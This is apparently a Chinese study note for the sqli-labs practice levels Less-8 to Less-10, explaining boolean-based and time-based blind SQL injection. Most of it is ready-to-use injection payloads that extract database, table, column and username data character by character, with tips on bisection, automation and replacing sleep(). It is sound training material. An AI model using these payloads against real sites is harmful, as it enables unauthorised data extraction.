布尔盲注:
特点: 无数据回显,无错误信息,只有"你在"/"不在"两种状态。
bash
-- 长度判断:页面正常
?id=1' and length(database())=8 --+
-- 逐位猜解:ASCII 115 对应 's'
?id=1' and ascii(substr(database(),1,1))=115 --+
-- 表名(第一个表的第一位,ASCII 101 对应 'e')
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
-- 字段名(users 表第一个字段第一位,ASCII 117 对应 'u')
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+
-- username 第一位(ASCII 68 对应 'D')
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
Less-8 单引号闭合,靠页面是否回显 "You are in..........." 判断条件真假,用 ascii(substr(...)) 逐位爆破所有数据



盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化


时间盲注:
特点: 无论查询成功与否都返回相同页面,只能用延迟判断。
bash
Less9
--判断闭合与注入存在 (单引号 + sleep 验证)
?id=1' and sleep(5) --+
--爆库名长度
?id=1' and if(length(database())=8,sleep(5),1) --+
--逐位猜解库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
--爆表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 数据(username 第一位)
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+
Less10
-- 验证闭合
?id=1" and sleep(5) --+
-- 爆库名长度(security 长度为 8)
?id=1" and if(length(database())=8,sleep(5),1) --+
-- 逐位猜库名(ASCII 115 = 's')
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
-- 爆表名(第一个表第一位,ASCII 101 = 'e')
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 爆字段名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 爆数据
?id=1" and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+
Less-9 单引号闭合,无回显无报错,全靠 if(猜解条件, sleep(5), 1) 的响应时间差逐位爆破数据。(显示在等待sqli请求)


盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化




Less-10 是 Less-9 的双引号闭合版本





原理分析
-
IF(条件, sleep(5), 0)--- 条件为真时延迟5秒 -
页面响应时间差异即为判断依据
-
是最慢的注入方式,但在完全无回显时最可靠
-
实际渗透中需考虑网络延迟和
sleep()被禁用的情况(可用benchmark()替代)
